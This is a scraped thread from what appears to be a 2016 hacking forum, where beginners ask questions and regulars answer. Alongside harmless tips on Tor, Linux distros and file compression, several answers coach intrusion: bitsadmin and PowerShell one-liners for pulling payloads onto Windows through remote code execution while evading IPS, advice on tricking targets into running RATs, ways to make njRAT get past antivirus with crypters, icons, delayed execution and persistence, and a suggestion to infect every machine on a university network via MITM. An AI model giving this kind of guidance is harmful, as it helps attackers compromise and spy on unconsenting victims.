(Oct 25, 2016 10:39 PM)Infinity. Wrote: [\[CITE\]](#) By building a botnet you mean coding one from scratch? OH boy, you need to learn about C/ASM. How windows internals work. Get a popular botnet's source code and understand how it is coded. What functions are responsible for carrying out a particular task. You'll get better at the language itself aswell learn some botnet development along the way??

I don't want to code one from scratch, I ask about it the ebook of coding one from scratch was still relevant since I'll use that in order to know how botnets work. Get a popular botnet's source code and understand how it is coded

That is what I plan to do. + I'm not completely clueless regarding programming.

Asdethprime - October 26, 2016, 1:47 am

(Oct 25, 2016 11:51 AM)TALDRAKS Wrote: [\[CITE\]](#) Oh boy, those beef post sure took a while to read.

My newbie question, that I wanted to ask is, do people use any kind of proxy or anything to browse safely (especially when saying, google how to create malware and scanning sites).

Also, your computer can't really be fully hack-proof since there are so many factors, but does anyone recommend any particularilly effective anti virus programs and such?

Finally, I only just heard of xmpp and am just using Gmail cause it's apparently the most safe (popular) mailing service but I'm pretty sure that's only cause of some old hackathon that it won in. Hi TALDRAKS,

It is very unlikely that anyone actually traces your google search unless you are using a blacklisted IP address (i.e. you are a prime suspect to being a malicious well known hacker).

However if you would like to remain anonymous while browsing, the easiest method would be to use TOR [The Onion Router] browser.

<https://www.torproject.org/download/download>

It is free and extremely secured. It however comes with a downside. For TOR browser security is the primary focus and NOT speed; therefore any connection you make through TOR will be super slow.

You see if you want to remain anonymous a downside is you have to sacrifice a certain degree of performance.

As per your second question I do not actually use anti-virus. However, the way hacking works it requires:

1) A path (port) to enter your PC = as long as you make sure none of the remote login services such as telnet are on you are pretty secured. This is because hacking is similar to scamming a person; but instead of a person you are scamming a computer. Open ports allow a mean from

people to talk to your computer; if someone can't talk to your computer they can't scam it. I mean do you think it would be possible for someone to scam you without even being able to talk to you?

2) Do not open or download malicious links and only open a secured connection. Fortunately there are popular browser plugins that help you. One cool plugin I would suggest is "HTTPS everywhere". That way everytime you visit a site you are visiting it through HTTPS connection preventing unauthorized connection.

Sorry can't suggest you anything in regards to anti-virus because I honestly don't use one.

Hope this was helpful, if you need explanation on anything else let us know and we are here to help. Nightmare group is very helpful =)

Aakash_Choudhary - October 27, 2016, 2:04 am

I have a question

If i want to download a file or want to retrieve a file from windows then how i can using OS Command Injection ?

Any video or blog also welcome

Thanks

Asdethprime - October 27, 2016, 2:38 am

(Oct 27, 2016 02:04 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I have a question

If i want to download a file or want to retrieve a file from windows then how i can using OS Command Injection ?

Any video or blog also welcome

Thanks

Hi Aakhas,

I presume you mean you want to download file from someone else's computer?

If that's the case; you will have to try one of the client side exploits and it's not as easy as it sounds.

You see if you were trying to hack a server it's a lot easier because it has ports that are always listening for connection. Personal Computers tend not to work that way.

So your only way around is a client side exploit (i.e. getting a malicious software to somehow run on the target's computer). There are many malicious softwares out there RATs; Trojans; Rootkit, Meterpeter etc. You need to find a way to get that to the target's computer. So essentially you have to find a way to trick the person using the computer to not just download the file but somehow run it. You can only access their computer as long the file is installed and running on the computer.

I am not a huge fan of client side exploits because:

- 1) It solely depends on the user
- 2) Not really good at tricking people into download viruses or opening malicious sites.

But unfortunately if its a PC you are trying to download you have to use one of them.

Also yes a malicious software you create is going to be operating system and architecture dependent. What I mean is; a software created for Windows Operating System and for 32 bit memory architecture will work on all 32 bit Windows Operating System (ME, XP, 7, 10 etc) but will not work for any other operating system + architecture (so your target has Windows 10 but is using a 64 memory bit architecture it wont work).

While create a payload (malicious software) is quite standard and people can guide you; the way you get the said software on the target's computer would depend on the target; and his/her hobbies and field of interest. That will require you to do significant amount of research.

Hope this helps,
AsdethPrime

Z3r0C0d3 - October 27, 2016, 4:19 am

Are there any remote public exploit for Apache httpd 2.2.10 or OpenSSH 5.1p2 ?

Faith Connors - October 27, 2016, 5:54 am

(Oct 27, 2016 04:19 AM)Z3r0C0d3 Wrote: [\[CITE\]](#) Are there any remote public exploit for Apache httpd 2.2.10 or OpenSSH 5.1p2 ?

As far as I know there are none for apache2

But there are some recent ones for OpenSSH 7.2p1 and 7.2p2

CVE-2016-6210

CVE-2016-3115

semendaemon - October 27, 2016, 5:58 am

(Oct 27, 2016 02:04 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I have a question

If i want to download a file or want to retrieve a file from windows then how i can using OS Command Injection ?

Any video or blog also welcome

ThanksWindows Server offers Background-Intelligent-Transfer-Service which you can use&abuse to pass payload using RCE. Since it's a niche method and only a select amount of people know of it, I'll argue it's also the best as it passes every single IPS I've tested with flying colors. Without going too far within windows internals, it's a protocol deeply embedded within how windows handles OS updates non-intrusively within the background; BITS only downloads when bandwidth is available. Code bitsadmin /transfer myDownloadJob /download /priority normal urlgoeshere c:\filepathgoeshereOnly works in Windows Server. On any other Win platform, second best option is Powershell. In PS 3.0 and above you got WebClient object so usually I'll tell you to go and code it but we feed skids now boys so here's the one liner
Code (new-object System.Net.WebClient).DownloadFile(\$site, \$localpath)

Faith Connors - October 27, 2016, 6:26 am

(Oct 27, 2016 05:58 AM)semendaemon Wrote: [\[CITE\]](#) Windows Server offers Background-Intelligent-Transfer-Service which you can use&abuse to pass payload using RCE. Since it's a niche method and only a select amount of people know of it, I'll argue it's also the best as it passes every single IPS I've tested with flying colors. Without going too far within windows internals, it's a protocol deeply embedded within how windows handles OS updates non-intrusively within the background; BITS only downloads when bandwidth is available. Code bitsadmin /transfer myDownloadJob /download /priority normal urlgoeshere c:\filepathgoeshereOnly works in Windows Server. On any other Win platform, second best option is Powershell. In PS 3.0 and above you got

WebClient object so usually I'll tell you to go and code it but we feed skids now boys so here's the one liner

```
Code (new-object System.Net.WebClient).DownloadFile($site, $localpath)
```

You know I love you <3

Husbando<3

Aakash_Choudhary - October 27, 2016, 8:25 pm

(Oct 27, 2016 02:38 AM)Asdethprime Wrote: [CITE](#) Hi Aakhas,

I presume you mean you want to download file from someone else's computer?

If that's the case; you will have to try one of the client side exploits and it's not as easy as it sounds.

You see if you were trying to hack a server it's a lot easier because it has ports that are always listening for connection. Personal Computers tend not to work that way.

So your only way around is a client side exploit (i.e. getting a malicious software to somehow run on the target's computer). There are many malicious softwares out there RATs; Trojans; Rootkit, Meterpreter etc. You need to find a way to get that to the target's computer. So essentially you have to find a way to trick the person using the computer to not just download the file but somehow run it. You can only access their computer as long the file is installed and running on the computer.

I am not a huge fan of client side exploits because:

- 1) It solely depends on the user
- 2) Not really good at tricking people into download viruses or opening malicious sites.

But unfortunately if its a PC you are trying to download you have to use one of them.

Also yes a malicious software you create is going to be operating system and architecture dependent. What I mean is; a software created for Windows Operating System and for 32 bit memory architecture will work on all 32 bit Windows Operating System (ME, XP, 7, 10 etc) but will not work for any other operating system + architecture (so your target has Windows 10 but is using a 64 memory bit architecture it wont work).

While create a payload (malicious software) is quite standard and people can guide you; the way you get the said software on the target's computer would depend on the target; and his/her hobbies and field of interest. That will require you to do significant amount of research.

Hope this helps,

AsdethPrime

Thanks for the info

Windows Server offers Background-Intelligent-Transfer-Service which you can use&abuse to pass payload using RCE. Since it's a niche method and only a select amount of people know of it, I'll argue it's also the best as it passes every single IPS I've tested with flying colors. Without going too far within windows internals, it's a protocol deeply embedded within how windows handles OS updates non-intrusively within the background; BITS only downloads when bandwidth is available. Code bitsadmin /transfer myDownloadJob /download /priority normal urlgoeshere c:\filepathgoeshereOnly works in Windows Server. On any other Win platform, second best option is Powershell. In PS 3.0 and above you got WebClient object so usually I'll tell you to go and code it but we feed skids now boys so here's the one liner

```
Code (new-object System.Net.WebClient).DownloadFile($site, $localpath)[/quote]
```

Thanks but in honest i didn't understand anything. Atleast u understand my question that i want to

learn about RCE for Windows.

Can you please give examples

I want to retrieve file using OS Command injection on Windows. Any live example will be good.

Also i heard a lot about Powershell but still don't get about this. Why this is important for Pentester?

Thanks

Another question too

I was playing "Darknet" vulnhub machine and stuck at one point

I saw virtualhost :->

[center]

<VirtualHost *:80>

 ServerName 888.darknet.com

 ServerAdmin devnull@darknet.com

 DocumentRoot /home/devnull/public_html

 ErrorLog /home/devnull/logs

</VirtualHost>

[/center]

So i want to know what role of this in hacking? What should be next step for pentester if pentester see this ?

Thanks

My another question :->

I know about xss and its types. I know basics. I want to go in depth in xss for the purpose of bug bounty

I don't wanna be a copy paster xss boy. Please also guide me for this

Thanks

semendaemon - October 27, 2016, 8:49 pm

(Oct 27, 2016 08:25 PM)Aakash_Choudhary Wrote: [\[CITE\]](#) Thanks for the info

Windows Server offers Background-Intelligent-Transfer-Service which you can use & abuse to pass payload using RCE. Since it's a niche method and only a select amount of people know of it, I'll argue it's also the best as it passes every single IPS I've tested with flying colors. Without going too far within windows internals, it's a protocol deeply embedded within how windows handles OS updates non-intrusively within the background; BITS only downloads when bandwidth is available. Code bitsadmin /transfer myDownloadJob /download /priority normal urlgoeshere

c:\filepathgoeshere Only works in Windows Server. On any other Win platform, second best option is Powershell. In PS 3.0 and above you got WebClient object so usually I'll tell you to go and code it but we feed skids now boys so here's the one liner

Code (new-object System.Net.WebClient).DownloadFile(\$site, \$localpath)

Thanks but in honest i didn't understand anything. Atleast u understand my question that i want to learn about RCE for Windows.

Can you please give examples

I want to retrieve file using OS Command injection on Windows. Any live example will be good.

Also i heard a lot about Powershell but still don't get about this. Why this is important for Pentester?

Thanks

Another question too

I was playing "Darknet" vulnhub machine and stuck at one point

I saw virtualhost :->

```
[center]
<VirtualHost *:80>
    ServerName 888.darknet.com
    ServerAdmin devnull@darknet.com
    DocumentRoot /home/devnull/public_html
    ErrorLog /home/devnull/logs
</VirtualHost>
[/center]
```

So i want to know what role of this in hacking?What should be next ste for pentester if pentester see this ?

Thanks

My another question :->

I know about xss and its types. I know basics. I want to go in depth in xss for the purpose of bug bounty

I dnt wanna be a copy paster xss boy. Please also guide me for this

Thanks

Apache vhosts: hackforums.net/showthread.php?tid=2648381

For everything else: Try harder.

Faith I can't answer PMs yet but I'll re-write the tutorial then leave. Though the 'love' is mostly one-sided, gf back home gets all of it ?

fader - October 28, 2016, 2:28 am

I have a quick question. What is hackbar able to do? Get into like databases?

Faith Connors - October 28, 2016, 4:49 am

(Oct 28, 2016 02:28 AM)fader Wrote: [\[CITE\]](#) I have a quick question. What is hackbar able to do? Get into like databases?

Nothing that you want to do.

Unless you'd rather do a very basic security audit than actually try stuff yourself.

It's basically a simple copy/paste tool that will put in either a script for XSS, a simple MySQL command or hash any text quick. It's not able to dump databases, it's now able to create super powerful exploits, it's extremely simple stuff. And you're not gonna actually learn anything from using it.

(Oct 27, 2016 08:49 PM)semendaemon Wrote: [\[CITE\]](#) Faith I can't answer PMs yet but I'll re-write the tutorial then leave. Though the 'love' is mostly one-sided, gf back home gets all of it ?

Oh come on. I can be your GF :\$

And I feel like this is gonna go two ways:

1. You're gonna rewrite the tutorial to be even more brutal but still just as good or even better,
2. You're gonna rewrite it with basically telling people what to do, spoonfeeding, as irony because you hate it so much and want to get one last roast in before you leave.

please don't leave me </3

semendaemon - October 28, 2016, 7:28 am

(Oct 28, 2016 04:49 AM)Faith Connors Wrote: [\[CITE\]](#) Nothing that you want to do.

Unless you'd rather do a very basic security audit than actually try stuff yourself.

It's basically a simple copy/paste tool that will put in either a script for XSS, a simple MySQL command or hash any text quick. It's not able to dump databases, it's now able to create super powerful exploits, it's extremely simple stuff. And you're not gonna actually learn anything from using

it.

Oh come on. I can be your GF :\$

And I feel like this is gonna go two ways:

1. You're gonna rewrite the tutorial to be even more brutal but still just as good or even better,
2. You're gonna rewrite it with basically telling people what to do, spoonfeeding, as irony because you hate it so much and want to get one last roast in before you leave.

please don't leave me </3You're adorable :)

Extremely loyal though, sorry ;) She's my world. Almost half a year together.

As for me staying, we'll see. I'm awful at handling my time. I'll have to see what more needs to be written. I honestly believe "How to begin" is covered enough as it is, awful quality or not. I'd rather have a specialized start.

Faith Connors - October 28, 2016, 7:34 am

(Oct 28, 2016 07:28 AM)semendaemon Wrote: [\[CITE\]](#) You're adorable :)

Extremely loyal though, sorry ;) She's my world. Almost half a year together.

As for me staying, we'll see. I'm awful at handling my time. I'll have to see what more needs to be written. I honestly believe "How to begin" is covered enough as it is, awful quality or not. I'd rather have a specialized start.

I know I know, you have a life and it's admirable that you're loyal like that. So I don't blame you for wanting to leave. I'm probably self-banning once I upgrade Imao.

It's already a great guide, not like it's really outdated by any means as you did write/publish it like a year ago. But if you feel like revisions should be made then go for it.

Asdethprime - October 28, 2016, 5:10 pm

Hi semendaemon,

I think your time would be much better spend helping selected members rather than writing the whole how to begin guide. The reason is your guides are pretty technical. Some of us love those; I mean when I get stuck on what to read next I do visit your guide. It's the only link on hackforums that I have bookmarked. But as you would know; for us a simple enough guide is enough as we are just looking for topics to learn more rather than be dependent on every little tid-bits that is explained.

Perhaps you could make say smaller but more specialized guide, for example: what does a web-hacker need to know. Actually the website hacking part is covered in quite a good detail; perhaps create a similar guide in other things people might be interested in knowing.

For example: I for one am a bit clueless on what to read once I get into cryptography (haven't started that section just yet..) but I am guessing people who are serious about being a hacker would eventually have to turn to that.

Or perhaps a thread dedicated to explaining what to read for assembly language and debugging and perhaps some tell-tell signs if any that could indicate a potential vulnerabilities. That's another thing I eventually plan to learn but as of yet pretty clue-less about it.

Doing the same thread again as a revision might sound like re-inventing a wheel.

semendaemon - October 29, 2016, 1:20 am

(Oct 28, 2016 05:10 PM)Asdethprime Wrote: [\[CITE\]](#) Hi semendaemon,

I think your time would be much better spend helping selected members rather than writing the whole how to begin guide. The reason is your guides are pretty technical. Some of us love those; I

mean when I get stuck on what to read next I do visit your guide. It's the only link on hackforums that I have bookmarked. But as you would know; for us a simple enough guide is enough as we are just looking for topics to learn more rather than be dependent on every little tid-bits that is explained.

Perhaps you could make say smaller but more specialized guide, for example: what does a web-hacker need to know. Actually the website hacking part is covered in quite a good detail; perhaps create a similar guide in other things people might be interested in knowing.

For example: I for one am a bit clueless on what to read once I get into cryptography (haven't started that section just yet..) but I am guessing people who are serious about being a hacker would eventually have to turn to that.

Or perhaps a thread dedicated to explaining what to read for assembly language and debugging and perhaps some tell-tell signs if any that could indicate a potential vulnerabilities. That's another thing I eventually plan to learn but as of yet pretty clue-less about it.

Doing the same thread again as a revision might sound like re-inventing a wheel.yeah which is what I've said, going for more specialized sub-fields would yield better results, I'll see how much can I be arsed anymore with this site

Faith Connors - October 29, 2016, 2:17 pm

Bumping back up. Don't forget guys you can ask all your questions here instead of making a new thread!

Mi2414 - October 29, 2016, 7:23 pm

Would you suggest Parrot OS? I have used it and found it to have more tools than Kali, just wondering what you think about it though.

Faith Connors - October 29, 2016, 7:44 pm

(Oct 29, 2016 07:23 PM)Amidst Wrote: [CITE](#) Would you suggest Parrot OS? I have used it and found it to have more tools than Kali, just wondering what you think about it though.

Yeah I've had a look and it does indeed have more tools and all the dependencies installed but it honestly isn't much different than Kali when you actually look at it.

The biggest difference IMO is that it's a lot less meme than Kali, all skids use Kali so that's the skid meme, and Parrot is a lot less known. It also has a much less edgier UI which makes for less memery. It is gaining popularity though, and because it has more tools it will probably be the next skid meme. I know, this doesn't actually have a lot to do with the functionality of the OS, but let's have a look at how it's similar.

Well, it's still extremely bloated. Having more tools doesn't necessarily make the OS better, I'd even argue it's worse as it's a lot more heavyweight (about 500mb) than Kali, although not as heavy as other pentesting distros (like BlackArch). Let's be real, you likely won't even use 10% of the tools on a regular basis, better to just have installed what you need to be installed and work with that, and if you ever need a different package install it on your own as it takes like a few seconds. Just my opinion though.

It still boots to root, and I would even consider this a security flaw as if someone logged into the system using the default password or something they could just forkbomb and you've crashed. But again, this isn't really that bad because if you're smart you only run this off a live disk instead of installing it (yes, dualboot still counts as installing it).

What I do like about it though is that it has all kinds of extra security features and the other

packages it has installed by default are really good. Like, veracrypt and truecrypt are installed (again, if you're smart and run this as a livedisk you won't be using either of these very much) but also tor and i2p. Also, it's better for developing stuff and if you need to, write scripts or exploits on the fly with their IDE Geany or the text editor (my personal favourite) Atom.

So I would say it's a little better than Kali in some ways, but I would still rather use a more lightweight distro and build it up with any tools I need. Which is my final point, it does have a ~2gb lite version which I would probably use.

Mi2414 - October 29, 2016, 8:09 pm

(Oct 29, 2016 07:44 PM)Faith Connors Wrote: [\[CITE\]](#) Yeah I've had a look and it does indeed have more tools and all the dependencies installed but it honestly isn't much different than Kali when you actually look at it.

The biggest difference IMO is that it's a lot less meme than Kali, all skids use Kali so that's the skid meme, and Parrot is a lot less known. It also has a much less edgier UI which makes for less memery. It is gaining popularity though, and because it has more tools it will probably be the next skid meme. I know, this doesn't actually have a lot to do with the functionality of the OS, but let's have a look at how it's similar.

Well, it's still extremely bloated. Having more tools doesn't necessarily make the OS better, I'd even argue it's worse as it's a lot more heavyweight (about 500mb) than Kali, although not as heavy as other pentesting distros (like BlackArch). Let's be real, you likely won't even use 10% of the tools on a regular basis, better to just have installed what you need to be installed and work with that, and if you ever need a different package install it on your own as it takes like a few seconds. Just my opinion though.

It still boots to root, and I would even consider this a security flaw as if someone logged into the system using the default password or something they could just forkbomb and you've crashed. But again, this isn't really that bad because if you're smart you only run this off a live disk instead of installing it (yes, dualboot still counts as installing it).

What I do like about it though is that it has all kinds of extra security features and the other packages it has installed by default are really good. Like, veracrypt and truecrypt are installed (again, if you're smart and run this as a livedisk you won't be using either of these very much) but also tor and i2p. Also, it's better for developing stuff and if you need to, write scripts or exploits on the fly with their IDE Geany or the text editor (my personal favourite) Atom.

So I would say it's a little better than Kali in some ways, but I would still rather use a more lightweight distro and build it up with any tools I need. Which is my final point, it does have a ~2gb lite version which I would probably use.

I like how in-depth you went on this answer, Thanks for the great information. I was feeling the same way, might be easier to just install some of the packages you need on a lightweight distro. I tend to stick to using the Liveboot option most of the time.

NoneStar - October 30, 2016, 12:09 am

Wonderful tutorial, thanks so much. :P

Faith Connors - October 30, 2016, 7:08 am

(Oct 30, 2016 12:09 AM)NoneStar Wrote: [\[CITE\]](#) Wonderful tutorial, thanks so much. :P
Glad I could help homie ;)

FljitoN29 - October 30, 2016, 10:36 am

great theard,it will help a lot of people,good job mate

National Security Agency - October 30, 2016, 1:21 pm

Nice to see you actually opened this.

Awesome and good luck!

Asdethprime - October 30, 2016, 1:32 pm

NSA supporting hacking... that's new =)

jjjjj100 - October 30, 2016, 2:51 pm

Hi this is a great thread thanks. So i'm still a noob and have a cryptography question. Bought a crypter (which I won't mention publicly in case undue negative image is given) it seems decent as before I was using free ones or using other crappy cheap methods like winrar and iexpress etc. I realise that purchasing an up to date crypter is the way to go if you not good enough to program your own lol. I just seem to be having a problem getting runtime fud, testing it on another computer. I remember seeing somewhere that some crypters struggle getting runtime on AVG for eg. I have been advised on this forum about some other good crypters, which might just be the problem, but before blaming the crypter are there things I might be overlooking that would cause detections like which options would be best to use/not use e.g. the delayed execution might be recommended say for longer period? self injection? I'm also not so clued up on the other obfuscation and clone assembly options, also if the binding and quality of icon change could be causing detections. Just looking for a clearer understanding of the crypting process. Oh this is for RAT tool (njrat), thought I would ask for input from this thread, thanks a lot.

Faith Connors - October 30, 2016, 7:20 pm

(Oct 30, 2016 02:51 PM)jjjjj100 Wrote: [\[CITE\]](#) Hi this is a great thread thanks. So i'm still a noob and have a cryptography question. Bought a crypter (which I won't mention publicly in case undue negative image is given) it seems decent as before I was using free ones or using other crappy cheap methods like winrar and iexpress etc. I realise that purchasing an up to date crypter is the way to go if you not good enough to program your own lol. I just seem to be having a problem getting runtime fud, testing it on another computer. I remember seeing somewhere that some crypters struggle getting runtime on AVG for eg. I have been advised on this forum about some other good crypters, which might just be the problem, but before blaming the crypter are there things I might be overlooking that would cause detections like which options would be best to use/not use e.g. the delayed execution might be recommended say for longer period? self injection? I'm also not so clued up on the other obfuscation and clone assembly options, also if the binding and quality of icon change could be causing detections. Just looking for a clearer understanding of the crypting process. Oh this is for RAT tool (njrat), thought I would ask for input from this thread, thanks a lot. Woah that's kinda all over the place.

Well, anyway most crypters are only scantime FUD, unless specified in the thread you bought it from says it's also runtime FUD.

But also njRat is just a really old and outdated RAT which is detected by just about everything, so it could be that antiviruses are detecting it because of that. There are some other free RATs you can have a look at though. Darktrack is around, but honestly be wary with them, something sketchy went down with them a bit over a month ago so don't get Blackshades'd.

Yes, icon can actually cause a detection. Always make sure you add a really good high resolution one to try and get past these. 512x512 seems to do the trick most of the time. I honestly don't really know why having a shit quality icon causes detections, but at the same time I don't really care if it's easily bypassable.

As for options to use for your RAT/crypter, well I don't know what crypter you're using so I can't really help you there, but sometimes delayed execution can work get past AVs or make it look like some other program is causing the detection so people would add an exception or something. Uhh, file melt should be good too, along with your standard persistence and all that etc. Maybe if you PM me I can help you out a little more idk.

But if you're still having trouble with it, my homie AsdethPrime is gonna be making a tutorial soon about using Meterpreter as a Remote Access Tool and using Veil Evasion to get past most if not all antiviruses. And best part of all that it's gonna be 100% free. Might wanna check in every now and then and maybe it'll be up within the next few days.

jjjj100 - October 30, 2016, 10:58 pm

Thanks Faith, (yes in retrospect my post is all over the place and not coherent, it was every late for me lol :))

I will maybe pm you later and look forward to see asdethprime's tut as I've heard good things about meterpreter and veil invasion. What you say makes sense with the old rat etc. thanks for your input.

Marvelious - October 31, 2016, 1:09 am

This is very good one for beginners thanks man

????? - October 31, 2016, 2:17 am

Great thread! Thanks a lot for putting your time into this

Faith Connors - October 31, 2016, 4:30 am

(Oct 31, 2016 01:09 AM)Marvelious Wrote: [\[CITE\]](#) This is very good one for beginners thanks man

(Oct 31, 2016 02:17 AM)Gryff Wrote: [\[CITE\]](#) Great thread! Thanks a lot for putting your time into this I appreciate the kind words guys!

Aakash_Choudhary - October 31, 2016, 7:35 am

I Want to do learn mobile pentesting.Please give free resources to learn and to build mobile pentesting lab in my laptop

Thanks

Agressive - October 31, 2016, 8:16 am

Please I want to become a very good hacker.please where do I start from. I need help

Aakash_Choudhary - October 31, 2016, 8:31 am

(Oct 31, 2016 08:16 AM)Agressive Wrote: [\[CITE\]](#) Please I want to become a very good hacker.please where do I start from. I need help

Just one thing i want to ask first to you

.Before asking first tell what you know yet.What things in hacking you want to learn. Your goal

Also learn to use Google

Now you will get many suggestions from experts

Thanks

Faith Connors - October 31, 2016, 12:44 pm

(Oct 31, 2016 07:35 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I Want to do learn mobile

pentesting. Please give free resources to learn and to build mobile pentesting lab in my laptop

Thanks

Hmm, mobile pentesting eh? Well of course it's divided into some groups as well.

We all know (hopefully) that meterpreter can run on Android and that Android is a relatively unsecure operating system. So that's basically your run-of-the-mill system exploitation penetration testing, and it's pretty simple and standard to most. There are hundreds of guides on how to do it as well.

Now, for harder stuff, you can get into building your own little "cellphone tower" that phones will automatically connect to if they're on data. This is a little trickier and you can't really do it on your laptop as you will need to build it yourself and carry around all the equipment.

Lots of government agencies and even police have been using devices called a Stingray which can basically pick up on all that unencrypted cell traffic and read it, from phone calls to text messages to just normal data. They cost upwards of \$15,000 to even \$100,000 but you don't really need that much money to build one yourself, you can do it for maybe a few hundred. Have a look here.

<http://hackaday.com/2016/04/08/build-your-own-gsm-base-station-for-fun-and-profit/>

shtajiryan - November 1, 2016, 2:04 am

Let's say I study at a university, let's say I am scanning the network and getting a shitload of open ports on a shitload of PCs (almost 50 on each sub IP group). How do I narrow my results? I get lost at that point.

Faith Connors - November 1, 2016, 4:31 am

(Nov 1, 2016 02:04 AM)shtajiryan Wrote: [\[CITE\]](#) Let's say I study at a university, let's say I am scanning the network and getting a shitload of open ports on a shitload of PCs (almost 50 on each sub IP group). How do I narrow my results? I get lost at that point.

Well if you're asking if there's a way to narrow it down all the way to just one PC, there really isn't a surefire way, but there are some steps you can take to try.

First of all you need to know two things about your target computer before you even begin. First of all the OS and second any services it could potentially be running. So when using nmap to scan (which I'm assuming you were) then launch it with the -o option to do an OS scan and it'll tell you what OS the target IP is likely using. It's not quite 100% but generally it gets close, like in the 90s.

As for service scanning, assuming your target is a Windows machine (and not Linux like me or a Mac like 50% of uni students) and you're on the same network like you mentioned, there are some CMD commands you can use to get a list of processes and services like "tasklist" however it's not the best as you do need authentication. Try nmap again but this time with the service scanning option, -sV (which is also version detection) to get more accurate results.

Just information gathering on the targets is all you can really do until you finally figure out which one is your target, or just infect all of them (MITM the network and get everyone to download your payload from connecting to facebook,) and see which one is your target.

Faith Connors - November 2, 2016, 5:40 am

Bumperino, got buried really fast.

Ask your questions guys!

shoock43 - November 2, 2016, 5:57 am

I'm still new in hacking thanks for sharing hopefully I can learn some:)

My brain might bleed learning this thing

Faith Connors - November 2, 2016, 7:56 am

(Nov 2, 2016 05:57 AM)shoock43 Wrote: [\[CITE\]](#) I'm still new in hacking thanks for sharing hopefully I can learn some:)

My brain might bleed learning this thing

Appreciate the kind words.

Once you get into the mindset it gets easier. Just gotta stay dedicated.

22gotya - November 2, 2016, 8:57 am

Dood, I want to learn how to hack OP. Where do I start?!?!?!?

Sorry, I had to do it. Couldn't resist.?

I guess i'll say something in regards to the thread though, you do a great thing here Faith. Keep it up!

(Nov 2, 2016 05:40 AM)Faith Connors Wrote: [\[CITE\]](#) Bumperino, got buried really fast.

Ask your questions guys!! I am quite astonished by that though^. You have a lot of traffic referred to your thread.

Faith Connors - November 2, 2016, 9:23 am

(Nov 2, 2016 08:57 AM)22gotya Wrote: [\[CITE\]](#) Dood, I want to learn how to hack OP. Where do I start?!?!?!?

Sorry, I had to do it. Couldn't resist.?

I guess i'll say something in regards to the thread though, you do a great thing here Faith. Keep it up!

I am quite astonished by that though^. You have a lot of traffic referred to your thread.

It has a lot of views, but that's about it. Not as many replies and people still bump other threads or make new ones that could just be asked here lol

Appreciate the kind words tho, thanks.

22gotya - November 2, 2016, 9:26 am

(Nov 2, 2016 09:23 AM)Faith Connors Wrote: [\[CITE\]](#) It has a lot of views, but that's about it. Not as many replies and people still bump other threads or make new ones that could just be asked here lol
Appreciate the kind words tho, thanks.

Was a low key reference to your little friend I mentioned via PM the other day.

Tell ya what, I'll throw a real question your way. Do you know any open source SMS spoofing APIs? OR even legitimate free domains?

Figured I would see if you knew of any before I actually searched on my own. Yes, I admit to the ignorance of that statement lol.

Faith Connors - November 2, 2016, 9:30 am

(Nov 2, 2016 09:26 AM)22gotya Wrote: [\[CITE\]](#) Was a low key reference to your little friend I mentioned via PM the other day.

Tell ya what, I'll throw a real question your way. Do you know any open source SMS spoofing APIs? OR even legitimate free domains?

As far as spoofing APIs go, not really. I don't mess to much with that stuff. Maybe someone else helping out here does though. As for free domains, if you mean like a domain extension (.com, .net) big ones like my example, there really are none. But I know you can get a .tk domain for free. You can also get .xyz for like a dollar or something and namecheap has their 88cent domain sales (some of which are really og)

22gotya - November 2, 2016, 9:35 am

(Nov 2, 2016 09:30 AM)Faith Connors Wrote: [\[CITE\]](#) As far as spoofing APIs go, not really. I don't mess to much with that stuff. Maybe someone else helping out here does though. As for free

domains, if you mean like a domain extension (.com, .net) big ones like my example, there really are none. But I know you can get a .tk domain for free. You can also get .xyz for like a dollar or something and namecheap has their 88cent domain sales (some of which are really og) Appreciate the fast reply, sorry should have been more specific in regards to the extension part. I'll have to actually look for one on my own now jeez.?

Thanks for saving me the effort of actually looking for the free extension element though.

Was never interested in said subject much before. A situation had arisen in which it would prove to be useful. Google and HF search option here I come!

shtajiryan - November 2, 2016, 10:36 pm

I am trusting Armitage + Metasploit. Should I do my tests and tries on these? Or do I need to get deeper?

Aakash_Choudhary - November 3, 2016, 12:46 am

I want to know what software i use to highly compress files

I saw in ashiyane forum that even GB files compressed in 50 MB

Can you tell me about this?

Thanks

Faith Connors - November 3, 2016, 4:30 am

(Nov 3, 2016 12:46 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I want to know what software i use to highly compress files

I saw in ashiyane forum that even GB files compressed in 50 MB

Can you tell me about this?

Thanks

It depends on the file that you're compressing. Some are better, like plaintext can sometimes even get down to a 96% compression ratio, which is probably what you're talking about, but other files might not be as good. If you mean compression by putting files in a .zip or .rar archive, I find that .7z works the best.

Now, there are two types of compression overall, lossy and lossless. Let's use picture formats to explain this. We have our two most popular image formats, .jpg and .png. .jpg has been around forever (like win98 era) but it's still around because it is great for compression. Files that would be 5MB uncompressed would be only a few kilobytes in .jpg, it's fantastic. But the problem with .jpg is that it actually does delete some data in the image that isn't as important, so you can see the image, but in some places, like where colors change you'll notice some pixelation. It's not quite pixelation but you'll see there is something funky going on. Now, if you converted that image back to an uncompressed format, you would still have those artifacts on the image. You lost the data so it's a lossy format.

.png is a little bit different, the file types are much bigger, but it's a lossless format, when you convert an image to .png, it keeps the original image and doesn't delete any data, instead only converting parts of it to be optimized and easier read and keeps the file size low. It also supports transparency which makes for a great image format, and that's why I personally only use .png for everything.

Now, most archive formats, like .zip, .7z, .rar, those are all lossless, you don't have to worry about losing your data from them, don't worry. But it does depend on what the data you're trying to compress is. Have a look at the Lempel Ziv compression methods, there are slight variations (Renau, Welch, etc.) but they are [mostly the same].

Winrar and 7zip should be fine for all your compression needs.

(Nov 2, 2016 10:36 PM)shtajiryan Wrote: [\[CITE\]](#) I am trusting Armitage + Metasploit. Should I do my

tests and tries on these? Or do I need to get deeper?

Not sure I understand your question homie, yeah they're trusted, no problem there.

You should always get deeper. Of course Metasploit and Armitage are great tools, but they can only do so much. Always keep learning.

shtajiryan - November 3, 2016, 11:48 pm

(Nov 3, 2016 04:30 AM)Faith Connors Wrote: [\[CITE\]](#) It depends on the file that you're compressing. Some are better, like plaintext can sometimes even get down to a 96% compression ratio, which is probably what you're talking about, but other files might not be as good. If you mean compression by putting files in a .zip or .rar archive, I find that .7z works the best.

